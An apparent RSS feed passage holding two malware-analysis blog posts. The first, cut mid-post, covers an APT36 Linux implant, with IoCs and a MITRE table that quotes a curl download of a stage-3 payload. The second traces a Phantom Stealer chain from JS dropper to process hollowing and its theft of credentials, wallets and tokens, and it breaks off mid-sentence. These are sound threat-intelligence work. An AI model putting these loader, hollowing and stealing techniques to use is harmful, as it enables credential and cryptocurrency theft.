src="https://cdn-images-1.medium.com/max/520/1*ifQsjIvhFQ_EEmvhInAIRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*PNdjqz0CZp-Da-xp6-ggBQ.png" /></figure><p>On success, sends an upload_complete message back with filename, file_path, file_size, and status: &quot;success&quot;.</p><p>The file write and the execution are decoupled — write happens synchronously, execution happens async in the background.</p><h4>executeFile — Execute the dropped files</h4><p>The function first extracts the file extension by scanning backwards through the filename for a . character, then lowercases it. Based on that extension it picks the right interpreter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*1wGOxGx82Ygp9KERATSxdA.png" /><figcaption>As we can see, based on extensions, different interpreter is chosen for execution</figcaption></figure><p>That .desktop handler is worth pausing on. The operator can upload another weaponized .desktop file mid-infection and have it launched via gtk-launch , which is exactly how the initial infection worked.</p><blockquote>This means that, with the combination of these 2 functions, hackers can upload weaponized files mid-infection and have it launched on the victim’s device.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*ifQsjIvhFQ_EEmvhInAIRw.png" /><figcaption>After writing the file, os.Stat is called to verify it actually landed on disk correctly before execution is triggered. The operator is careful enough to confirm the file exists before trying to run it.</figcaption></figure><h3>Heartbeat/Beaconing — Staying alive</h3><p>Separate from the 5-minute reconnect loop, there’s a background go routine running the whole time the implant is connected. time.NewTicker(30000000000)— fires every 30 seconds, sends a heartbeat message with the client UUID and timestamp to let the C2 know the victim is still alive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*jpF6zu9Z9C3fM1KYxLdzpg.png" /></figure><p>The interesting detail — before sending each heartbeat, it checks the isExecuting and isCollecting flags. If either is true, it skips that tick entirely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*39FjS7MTQZDo5SjsnHCBHA.png" /></figure><p><strong>_______________________________________________________________</strong></p><h3>IoCs</h3><pre>| Type                 | Value                                                       |<br>|----------------------|-------------------------------------------------------------|<br>| C2 Domain            | `chuchuchacha.xyz`                                          |<br>| C2 Endpoint          | `ws://chuchuchacha.xyz:8080/ws`                             |<br>| C2 IP                | `85.137.249.243`                                            |<br>| C2 Endpoint          | `ws://85.137.249.243:8080/ws`                               |<br>| Download URL         | `https://bossmaya.xyz/download.php?file=client.txt`         |<br>| Decoy URL            | `https://www.pib.gov.in/PressReleasePage.aspx?PRID=2254141` |<br>| Persistence Binary   | `~/.config/system-backup/system-backup`                     |<br>| Autostart File       | `~/.config/autostart/system-backup.desktop`                 |<br>| Log File             | `~/.config/system-backup/client.log`                        |<br>| Startup Script       | `~/.config/system-backup/startup.sh`                        |<br>| Crontab Entry        | `@reboot &lt;path&gt; --hidden &gt;/dev/null 2&gt;&amp;1`                   |<br>| Build Path           | `D:/bossmaya/our/newlinuxblkul/client/main.go`              |<br>| Threat Actor Handle  | `bossmaya`                                                  |<br>| IP Lookups           | `api.ipify.org`, `checkip.amazonaws.com`, `icanhazip.com`   |<br>| DNS Probes           | `1.1.1.1:80`, `208.67.222.222:80`                           |</pre><h3>MITRE ATT&amp;CK Mapping</h3><pre>| Technique ID | Technique Name                                                              | How                                                                                |<br>|--------------|-----------------------------------------------------------------------------|------------------------------------------------------------------------------------|<br>| T1566.001    | Phishing: Spearphishing Attachment                                          | Weaponized `.desktop` file distributed via WhatsApp and email                      |<br>| T1204.002    | User Execution: Malicious File                                              | Victim double-clicks what appears to be a PDF                                      |<br>| T1059.004    | Command and Scripting Interpreter: Unix Shell                               | `bash -c` in `Exec=` field executes the dropper                                    |<br>| T1027        | Obfuscated Files or Information                                             | Double Base64 + hex encoding on payload blobs                                      |<br>| T1027.010    | Obfuscated Files or Information: Command Obfuscation                        | Inline shell decode function, variable substitution                                |<br>| T1497.003    | Virtualization/Sandbox Evasion: Time Based Evasion                          | `sleep 0.18` fractional sleep before execution                                     |<br>| T1105        | Ingress Tool Transfer                                                       | `curl bossmaya.xyz/download.php?file=client.txt` pulling Stage 3                   |<br>| T1140        | Deobfuscate/Decode Files or Information                                     | ASCII85 decode + bzip2 decompress of Stage 3                                       |<br>| T1547.013    | Boot or Logon Autostart Execution: XDG Autostart Entries                    | `~/.config/autostart/system-backup.desktop`                                        |<br>| T1546.004    | Event Triggered Execution: Unix Shell Configuration Modification            | Injection into `~/.bashrc` via `startup.sh` sourcing                               |<br>| T1053.003    | Scheduled Task/Job: Cron                                                    | `@reboot` crontab entry                                                            |<br>| T1036.005    | Masquerading: Match Legitimate Name or Location                             | Binary copied to `~/.config/system-backup/system-backup`                           |<br>| T1036        | Masquerading                                                                | `Icon=application-pdf`, military document name                                     |<br>| T1082        | System Information Discovery                                                | Hostname, OS, CWD collected in beacon                                              |<br>| T1033        | System Owner/User Discovery                                                 | `os/user.Current()` collecting username                                            |<br>| T1016        | System Network Configuration Discovery                                      | External IP resolution via ipify/amazonaws/icanhazip                               |<br>| T1071.001    | Application Layer Protocol: Web Protocols                                   | C2 over WebSocket port `8080`                                                      |<br>| T1573        | Encrypted Channel                                                           | ChaCha20 application-layer encryption over WebSocket                               |<br>| T1571        | Non-Standard Port                                                           | WebSocket C2 on port `8080` instead of `443`                                       |<br>| T1008        | Fallback Channels                                                           | Hardcoded IP `85.137.249.243` as DNS fallback                                      |<br>| T1083        | File and Directory Discovery                                                | `browseFiles` remote directory listing                                             |<br>| T1005        | Data from Local System                                                      | `collectFilesByType` walking directories and exfiltrating                          |<br>| T1020        | Automated Exfiltration                                                      | `sendFileInChunks` chunked file transfer to C2                                     |<br>| T1041        | Exfiltration Over C2 Channel                                                | All exfil goes over the same WebSocket connection                                  |<br>| T1059.006    | Command and Scripting Interpreter: Python                                   | `.py` files executed via `python3`                                                 |<br>| T1106        | Native API                                                                  | `syscall.Environ`, `os.Stat`, direct syscalls throughout                           |<br>| T1564.001    | Hide Artifacts: Hidden Files and Directories                                | All persistence paths use `.config` hidden directory                               |<br>| T1070.003    | Indicator Removal: Clear Command History                                    | `/dev/null` redirect in crontab suppresses all output                              |<br>| T1132.001    | Data Encoding: Standard Encoding                                            | Base64 encoding of beacon data                                                     |<br>| T1568.002    | Dynamic Resolution                                                          | Domain + hardcoded IP fallback rotation in `Connect`                               |</pre><p><strong>_______________________________________________________________</strong></p><p>Well, that concludes my analysis of this APT36 campaign.</p><p><strong>APT36 has been targeting Indian defence for years, this campaign shows that they’re still active, still adapting, and still finding victims.</strong></p><p>Hope you found this insightful. Do drop a follow for similar content!!</p><p>My LinkedIn: <a href="https://www.linkedin.com/in/rd-tarun">https://www.linkedin.com/in/rd-tarun</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75a853437c03" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[You Opened a “PDF”. It Compromised Your Entire System.]]></title>
            <link>https://meetcyber.net/you-opened-a-pdf-it-compromised-your-entire-system-a71008fc1744?source=rss-e60e03d0d176------2</link>
            <guid isPermaLink="false">https://medium.com/p/a71008fc1744</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-threat-intelligence]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[R.D.Tarun]]></dc:creator>
            <pubDate>Tue, 21 Apr 2026 18:58:58 GMT</pubDate>
            <atom:updated>2026-04-21T18:58:58.782Z</atom:updated>
            <content:encoded><![CDATA[<h4>Inside a 5-Stage Infection Chain Delivering Phantom Stealer</h4><p>While scouting LinkedIn, I came across a post by threat researcher Bradley Duncan that caught my eye. The subject? A file called specification_03902_091034_01212.pdf.js</p><p>Already a red flag. What kind of PDF needs a .js extension?</p><p>Turns out, it’s a beautifully disgusting piece of malware.</p><h3><strong>Attack Chain Overview</strong></h3><p>Before diving in, here’s a high-level map of the full infection chain:</p><pre>Stage 1: specifications.pdf.js     → JS Dropper / Downloader<br>Stage 2: ENCRYPT.ps1               → Obfuscated PowerShell Loader<br>Stage 3: stage3.ps1                → Fileless In-Memory .NET Loader<br>Stage 4: payload.exe (ALTERNATE.exe) → .NET Process Hollowing Loader<br>Stage 5: exe_payload.exe (stub.exe)  → Final Infostealer Payload</pre><blockquote>Stages 1–3 form the delivery chain. Stage 4 is a loader whose sole job is to inject the real payload into a legitimate process. Stage 5 is the real payload.</blockquote><h3>Stage-1: JS File (specifications.pdf.js)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G35eUgHZ63fcU5Cl9U_1Mw.png" /><figcaption>JS code opened in Notepad++</figcaption></figure><p>I opened the file in Notepad++ and observed unformatted, minified JavaScript, which is a classic sign of intentional obfuscation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*yJIY41RvT3rBsZoJDnxiaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*s9n6qiFf73cxqY7CfM2o7A.png" /><figcaption>obfuscation and useless functions</figcaption></figure><p>After formatting and pretty-printing it, some things became immediately clear:</p><ul><li>Variable names were completely randomized (W, k, q, w8, etc.)</li><li>Functions were deeply nested, with lots of control flow obfuscation.</li><li>There were repeated calls to a suspicious function:</li></ul><pre>decodeString_b64_RC4(...) (renamed, original name was obfuscated)</pre><p>Y(e, o) is a string lookup function, used throughout the code.</p><p>and the giant W object:</p><pre>W = {<br>   &#39;KKdbs&#39;: function (Q, v) { return Q !== v; },<br>   &#39;yWZPP&#39;: function (Q, v) { return Q + v; },<br>   ...<br>}</pre><p>it just contains wrappers for +, ===, !==, function calls, which are used <br>to avoid direct operators.</p><p>For example,</p><pre>W[&#39;yWZPP&#39;](a, b) =&gt; a + b</pre><blockquote>Also found obfuscation tricks I’ve never seen before, such as this where the whole while loop is made to execute only once, after which it won’t execute again. This is done by returning the changed conditional statements.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*e7CiXdScvLLkKEpCZ1P7Vw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pVKjjCLz8vYIDIilMsgCWA.png" /><figcaption>obfuscation trick to make the loop run only once</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ym177LUaGP6O_mqZHgfvgQ.png" /><figcaption>Custom Implementation of Base64 Encryption Algorithm</figcaption></figure><p>The script uses RC4and Base64 encryption for evasion, and ensures that it’s decrypted later using decodeString_b64_RC4 function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n4gMrKSQ-5Mg3Bv5rD14ag.png" /><figcaption>RC4 Encryption Algorithm</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*ngTyzdZ98HFSBH7P7VkALg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SWNynBtcJyWqdxjBKAgnNw.png" /><figcaption>decodeString_b64_RC4() function</figcaption></figure><p>Also noticed some interesting arguments here,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*z-tWSpxvyOBfGM6HnFe5Nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*Q3UslJN9Aoq_7XEW7X6ZHw.png" /><figcaption>suspicious strings observed</figcaption></figure><p>Combining them together, we get powershell -nop file , which executes a file without loading user/system PowerShell profiles, ensuring a very clean execution environment.</p><blockquote>The presence of powershell -nop -file is a strong indicator of staged execution. Rather than embedding the final payload directly in JavaScript, the script likely acts as a loader, delegating execution to a secondary PowerShell script.</blockquote><p>Now I knew that there must be a .ps1 file/cmdlets being loaded somewhere, so I focused my search on that.</p><p>And sure enough, I found a URL: http[.]//91[.]92[.]240[.]251/webma/ENCRYPT[.]Ps1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*g_17UqiXLmszwC9BNSdtAg.png" /><figcaption>The URL for downloading ENCRYPT.Ps1</figcaption></figure><blockquote>ActiveXObject is a Windows-specific API that lets JS (via WSH) talk directly to system components.</blockquote><p>Now, it’s obvious what this file does: decode all hidden strings (URLs, object names, commands) using <strong>Base64 + RC4</strong>, then use these three ActiveX objects in sequence: download → save → execute &amp; fetch and run ENCRYPT.ps1 from the C2 server.</p><h3>Stage-2: ENCRYPT.ps1</h3><p>The second stage of the infection chain is a PowerShell script named ENCRYPT.ps1. As expected, this wasn’t any cleaner than the JavaScript loader, and in fact, it doubled down on obfuscation.</p><p>At the core of the script lies a massive variable:</p><pre>$securedcontent = @&#39;<br>&lt;Base64 blob&gt;<br>&#39;@</pre><p>This blob spans <strong>over 53,000 lines</strong>, making manual inspection impractical.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*SwthFQQwn5xecY_KSmb8eQ.png" /><figcaption>A massive Base64-encoded blob ($securedcontent) stores the encrypted payload.</figcaption></figure><blockquote>The script itself is heavily obfuscated, but the <strong>comments and structure around the decryption logic are surprisingly readable</strong>.</blockquote><blockquote>It almost feels like the attacker focused obfuscation only on the payload and “vibe-coded” the surrounding logic, a contrast which we don’t often see.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m5l3WjMG6wCK3RVZgo8_KQ.png" /><figcaption>It appears that the attacker has vibecoded the entire script exempting the encrypted text, because of the comment-style and clear explanation.</figcaption></figure><p>The script removes line breaks and reconstructs raw bytes using [Convert]::FromBase64String()</p><p>And instead of standard encryption, it uses a <strong>rolling XOR algorithm</strong>, after which the decoded payload is transformed into a UTF-8 string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9u16Y-oykch0IraMyBuj5w.png" /><figcaption>Original execution wrapper</figcaption></figure><p>To obtain the next stage without manually decrypting 53.5k lines of encryption, I modified $executionhandler of the original ENCRYPT.ps1 to redirect the output to a separate file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jBL-cWczu1njOMx0M9NRDw.png" /><figcaption>Modified execution wrapper to obtain decrypted payload</figcaption></figure><h3>Stage-3: stage3.ps1 (In-Memory .NET Loader)</h3><p>Analysis of stage3.ps1 reveals that it functions as a <strong>fileless in-memory loader for a .NET payload</strong>, acting as the bridge between staged delivery and actual execution, with three core responsibilities:</p><ul><li>Decrypt embedded payload</li><li>Load it directly into memory</li><li>Execute it via reflection.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*46PkWVbJdQFTKJY0TqXt9A.png" /><figcaption>Loads a .NET executable directly into memory, bypassing traditional AV file scanning</figcaption></figure><p>Unlike the previous stages, which focused heavily on obfuscation and payload concealment, this stage is responsible for <em>loading and executing the final malware.</em></p><p>This stage avoids writing the payload to disk, significantly reducing detection surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YT5Gk58wDEPhpZNqKFLONw.png" /><figcaption>stage3.ps1 core logic</figcaption></figure><p>The file checks the existence of a process named AddInProcess32. This indicates that the malware is either:</p><ul><li>Looking for a specific process to inject into</li><li>Or using it as a known legitimate target</li></ul><p>For persistence purposes, and also proceeds to execute the payload via <strong>a hardcoded entry point: </strong>ALTERNATE.EXECUTE.LAUNCH (this particular detail will be useful later)</p><h4><strong>In-Memory payload loading</strong></h4><p>At the core of the script lies a variable:</p><pre>$payloadData = (77,90..........</pre><p>Inspecting the first few bytes of this array:</p><pre>77 90 → 4D 5A (in hex) → &quot;MZ&quot; (ascii)</pre><p>The MZ header confirms that the embedded data is not raw shellcode, but a <strong>fully structured PE</strong> file.</p><p>Instead of dropping this executable to disk, the script loads it directly into memory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*b6hFjNhnzVtGx05IcEOUXw.png" /></figure><pre>[Reflection.Assembly]::Load($assemblyBytes)</pre><p>This allows the attacker to:</p><ul><li>Bypass traditional file-based antivirus scanning.</li><li>Avoid leaving artifacts on disk.</li><li>Execute payloads purely in memory.</li></ul><h4><strong>Extracting the Payload</strong></h4><p>Although we can just capture $payloadData to get the actual .exe being dumped, for detailed analysis, to see how the malware actually inserts the malicious logic into the system,$assemblyBytes , i.e, the stage before the actual payload is dumped.</p><p>For getting the decrypted payload for this stage, I just modified the script to capture the output of this whole stage3.ps1 as payload.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*sevLLgpsoYytyPl6jUG4xg.png" /><figcaption>captured output = payload.exe</figcaption></figure><h3>Stage-4: payload.exe (.NET exe Loader)</h3><p>Static Analysis of payload.exe reveals that it is a .NET executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*YcSSXcD7N9HoYMy8HenT7w.png" /></figure><p>Opening payload.exe in <strong>dnSpy</strong>,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*lwP0EW5vBSfjJVFiMAK9gw.png" /><figcaption>dnSpy View of payload.exe =&gt; originally named <strong>ALTERNATE.exe</strong> by the author</figcaption></figure><p>payload.exe uses P<strong>rocess Hollowing</strong>, a technique where a legitimate process is created and then replaced in memory with malicious code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*CLDRwNNM_GvPq2nrcp8u7w.gif" /><figcaption>For more explanation — <a href="https://satvikhatulkar.medium.com/process-hollowing-methods-and-mitigation-malware-development-part-3-51249dea08dd">Process Hollowing</a></figcaption></figure><p>Since we already know the entry point (ALTERNATE.EXECUTE.LAUNCH()), we begin our analysis from there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*A5myZSYY8et3U2swCZWikg.png" /><figcaption>LAUNCH() takes in a variable named <strong>shellcode</strong>, which is actually misleading, and is instead a full PE executable that is manually mapped into another process during execution.</figcaption></figure><p>There were many obfuscated API calls, decoded by the parameters passed. Here is the full execution flow:</p><h3><strong>Execution Flow — Process Hollowing</strong></h3><h4><strong>1. Create Suspended Process</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCvOijHeJis_8IcjWoi33g.png" /></figure><p>Saw 134217732U as a parameter for the function call. When converted to hex,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*roqZWjH6quhoiEIIZgPN1w.png" /><figcaption>Decimal value used in the CreateProcess() call</figcaption></figure><p>Cross-referencing MSDN of <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags">CreateProcess()</a>, 0x8000004 maps to a combination of 2 flags of the API,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*gR-bdH1JQRV2XmSzsoxrNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*c-p830Tf1IvNL2SRIwtvKg.png" /><figcaption>CREATE_SUSPENDED flag in CreateProcess() creates it in ‘suspended’ state</figcaption></figure><p>This creates the target process in a <strong>suspended</strong> state (frozen before it executes a single instruction).</p><h4><strong>2. Retrieve Thread Context</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yf29sa7jFrNmfaHU35mkMQ.png" /></figure><p>GetThreadContext() is called so the malware can access the CPU registers of the suspended thread and SetThreadContext() to prepare to modify execution flow.</p><h4><strong>3. PE Structure Parsing</strong></h4><p>The malware reconstructs the PE file structure entirely from memory rather than relying on the Windows loader.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*yG1oHRfVQ464uVV-aRUcPg.png" /><figcaption>The variable shellcode is the full PE executable being parsed.</figcaption></figure><blockquote><strong>Note:</strong> The <strong>meaning of PE offsets &amp; structure</strong> calculated by addition in the payload code are taken from <a href="https://www.sunshine2k.de/reversing/tuts/tut_pe.htm">https://www.sunshine2k.de/reversing/tuts/tut_pe.htm</a></blockquote><blockquote>For example, num2 = 60 indicates that it points to e_lfanew , i.e, the base address of the PE header.</blockquote><blockquote>num3 = num2+52 indicates a jump of 52 from the position of num2, which points to ImageBase of the PE file.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*ufNRLGrVkCTNqUz0n01ysw.png" /><figcaption>Mapping the offsets to the correct PE components</figcaption></figure><blockquote><strong>Note:</strong> From this point, I won’t be walking through every offset mapping individually. The methodology is the same as shown above — calculate the offset from the Optional Header base, cross-reference with the PE spec, identify the field. I’ll just be naming what each value maps to directly.</blockquote><h4><strong>4. Hollowing Begins</strong></h4><p>The use of NtUnmapViewOfSection(),</p><ul><li>Removes the original executable image from the target process.</li><li>Frees its memory region.</li><li>Leaves the process structure intact.</li></ul><p>This is the point where the process becomes “hollow”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*uxlZVIeuTXD3wJU9yC0yJA.png" /><figcaption>Notice that num3=ImageBase and num6=SizeOfImage. VirtualAlloc() is allocating memory based on these 2 parameters, as expected.</figcaption></figure><h4><strong>5. Allocate Memory for Malicious PE</strong></h4><p>VirtualAlloc(),</p><ul><li>Allocates executable memory inside the hollowed (target) process.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*nFM7WEx5I6A8VL_ZRPIqyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*hD7ynRKMaRZwqC9yjOBvFg.png" /><figcaption>Converting the parameters to hex to figure out the configuration used for VirtualAlloc() function call</figcaption></figure><p>12288U = 0x3000 = <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc#:~:text=MEM_COMMIT,it%20is%20released.">MEM_COMMIT | MEM_RESERVE</a></p><p>64U = 0x40 = <a href="https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants#:~:text=PAGE_EXECUTE_READWRITE,0x40">PAGE_EXECUTE_READWRITE</a></p><p>The allocation uses: ImageBase , SizeOfImage, which are extracted by parsing the PE structure manually.</p><p>This ensures the malicious PE is mapped exactly as expected.</p><h4><strong>6. Write PE into Target Process</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkzlDPcjPund5uHXi0VH6g.png" /><figcaption>num9 points to NumberOfSections, so the loop iterates for all the sections of the PE.</figcaption></figure><p>The malware writes the PE into memory using:</p><pre>WriteProcessMemory()</pre><p>It iterates over all sections:</p><pre>for (int j=0; j&lt;numSections; j++)</pre><p>This loop:</p><ul><li>Iterates through PE sections.</li><li>Writes each section individually (.text, .data, etc.)</li></ul><p>At this point, the malicious executable is fully reconstructed inside the target process.</p><h4><strong>7. Redirect Execution</strong></h4><p>Next, the malware updates execution flow using:</p><pre>SetThreadContext()</pre><p>This modifies the instruction pointer to point to the EntryPoint of the injected PE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DEfL0JavxRB9wrr9XksphQ.png" /></figure><h4><strong>8. Resume Execution</strong></h4><p>Finally:</p><pre>ResumeThread()</pre><p>This resumes the suspended process, which now executes the injected malicious payload instead of its original code.</p><h4>Process Hollowing Flow</h4><pre>CreateProcess (Suspended)<br>        ↓<br>GetThreadContext<br>        ↓<br>SetThreadContext<br>        ↓<br>NtUnmapViewOfSection   ← Hollowing starts<br>        ↓<br>VirtualAllocEx<br>        ↓<br>WriteProcessMemory<br>        ↓<br>SetThreadContext       ← Execution redirected<br>        ↓<br>ResumeThread</pre><p>Now that we know how the .NET Loader injects the malicious code , we can move on to examine the actual payload directly.</p><p>Modifying stage3.ps1 code directly ($payloadData variable contained the entire bytestream of the PE itself) to dump $payloadData directly onto disk, we get the final payload exe_payload.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*a_MQ02H0MC9ynD2EMT0RoA.png" /><figcaption>dumping $payloadData</figcaption></figure><h3>Stage-5: exe_payload.exe (Final Payload)</h3><p>Putting exe_payload.exe into DIE, we observe it is a .NET file (again)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*oJxy8BWxJP4dEyoiBOGPVg.png" /></figure><p>Loading it onto <strong>dnSpy</strong>,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*dmOProSvJ-5K3OziBIW_Bg.png" /><figcaption>Original Name given by author = stub.exe</figcaption></figure><h3>Resource Section Indicators</h3><p>Inspection reveals several suspicious string constants:</p><pre>SYS_NET_CONNECT<br>SEC_SCAN<br>SYS_SVC_PAUSE<br>SYS_SVC_RESUME<br>SYS_SVC_START<br>SYS_SVC_STOP<br>SYS_UPDATE_CHECK</pre><p>These strongly suggest:</p><ul><li>Service manipulation capabilities.</li><li>Potential interaction with system services.</li><li>Likely attempts to pause or disable AV/EDR services before execution.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*17OJvDarwab0N-aZifJg1A.png" /><figcaption>Resources section</figcaption></figure><h3>Packing Technique</h3><p>The malware is packed with <strong>Costura.Fody, </strong>a legitimate .NET build tool designed to embed dependencies directly into an executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*D2k-_1WoDCe54PayllrwGg.png" /><figcaption>packing with Costura</figcaption></figure><h3>Capability Overview</h3><p>The malware is structured into multiple modules, each responsible for a specific capability. This modular design allows easy updates and feature expansion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*Me-ApGSHG9973QkxUS1wMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*9-fTJQ6yzAotzr2oQ2Lbog.png" /><figcaption>Modules (capabilities) of the Phantom Infostealer</figcaption></figure><p>A few important modules include:</p><h4>Malware Family: Phantom Stealer</h4><p>Logging.Logfile()definitively confirms the family this malware belongs to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*XnEH4OoOAj2GTs5zz__UGw.png" /><figcaption>The author signed their own work as a <a href="https://www.google.com/search?q=phantom+stealer&amp;oq=phantom+stealer&amp;gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIGCAEQRRg7MgYIAhBFGDsyBggDEEUYPDIGCAQQRRg9MgYIBRBFGDzSAQgxNjUwajBqN6gCALACAA&amp;sourceid=chrome&amp;ie=UTF-8">PhantomStealer</a></figcaption></figure><p>This is a critical finding, as it confirms that the sample belongs to a known <strong>commodity infostealer family</strong>.</p><h4><strong>Anti-Analysis</strong></h4><p>The AntiAnalysis module is primarily concerned with string matching the malware’s characteristics with that of the host, and stopping its execution/changing some details during execution to hide itself from AV/EDR’s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*tXfqcqFWAqiLIUZ_nrJC0A.png" /></figure><p>It also contains anti-VM checks, by checking for processes commonly associated with Virtual Machines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CJXRq7HRJ6Y3S0xFcDLXqQ.png" /><figcaption>Anti-VM checks</figcaption></figure><h4>WinSCP Credential Stealing</h4><p>The malware targets saved SFTP sessions from:</p><pre>HKCU\\Software\\Martin Prikryl\\WinSCP 2\\Sessions</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*tIvckQAPNDxyQ-C-avHQRw.png" /><figcaption>WinSCP credential stealing</figcaption></figure><p>It includes a full re-implementation of <a href="https://winscp.net/eng/docs/security_credentials"><strong>WinSCP’s password obfuscation</strong></a>, with the XOR key 0xA3 (163), and matches WinSCP’s internal logic fully to decrypt all data involved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*rg1ICK15TYO4EmJnWGHM8A.png" /><figcaption>Reimplementation of WinSCP’s password obfuscation</figcaption></figure><h4>Desktop Wallet Stealing</h4><p>Targets a wide range of cryptocurrency wallets:</p><ul><li>27 wallet applications via directory harvesting.</li><li>14 Bitcoin Core-derived wallets via registry.</li></ul><p>Registry path pattern:</p><pre>HKCU\Software\&lt;WalletName&gt;\&lt;WalletName&gt;-Qt\strDataDir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*MunbOcLBfR_iRQdfpjSzhQ.png" /><figcaption>Desktop Wallet Stealing</figcaption></figure><p>Notable targets include:</p><pre>Exodus<br>Atomic<br>Electrum<br>Monero<br>Zcash<br>Coinomi<br>Sparrow<br>WalletWasabi</pre><p>The inclusion of <strong>privacy-focused wallets</strong> like WalletWasabi suggests intentional targeting of security-conscious users.</p><h4>Browser Wallet Extension Stealing</h4><p>Targets browser-based crypto wallets by extension ID: 57 Chrome extensions and 10 Edge extensions.</p><p>Data is extracted from:</p><pre>%LocalAppData%\…\Local Extension Settings\&lt;extension_id&gt;</pre><p>Targets include:</p><pre>MetaMask (both standard and Flask/dev versions)<br>Phantom<br>Coinbase Wallet<br>Trust Wallet<br>Keplr<br>Yoroi<br>Ronin<br>TronLink</pre><p>This wide coverage spans <strong>multiple blockchain ecosystems</strong>, making it highly effective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*Cxa_qaC-lz8t3z1KOYxgbA.png" /><figcaption>Browser Wallet Extension Stealing</figcaption></figure><h4>Credential Harvesting Modules</h4><p>This module targets Discord authentication tokens across multiple sources:</p><ul><li>Chromium-based browser storage (Chrome, Edge)</li><li>Discord desktop app (LevelDB files)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*-R-2WiLgasc02H4WSlXp0g.png" /><figcaption>Discord class</figcaption></figure><p>It uses <strong>three regex patterns</strong> to cover all token formats: Legacy tokens, MFA tokens, Encrypted tokens (dQw4w9WgXcQ: prefix)</p><p>Each discovered token is validated in real time via:</p><pre>https://discord.com/api/v9/users/@me</pre><p>This ensures:</p><ul><li>Only valid tokens are exfiltrated</li><li>Full account metadata is retrieved: Username, Email, Phone, User ID, Nitro status.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*y1kpxwVKbgRiHaWTGnJgpQ.png" /></figure><h4>Email Client Stealing</h4><p>Harvests saved credentials from Outlook and FoxMail desktop applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*6IyJBaSSDCWEWza9xQjOnA.png" /><figcaption>Email Client Stealing</figcaption></figure><h4><strong>Chromium Browser Stealing:</strong></h4><p>Targets all Chromium-based browsers and profiles. Extracts:</p><ul><li>Saved passwords</li><li>Cookies</li><li>Autofill data</li></ul><p>Uses:</p><ul><li>SqliteParser for database parsing</li><li>BrowserCrypto for decryption</li></ul><h4><strong>Gecko Browser Stealing:</strong></h4><p>Targets Firefox-based 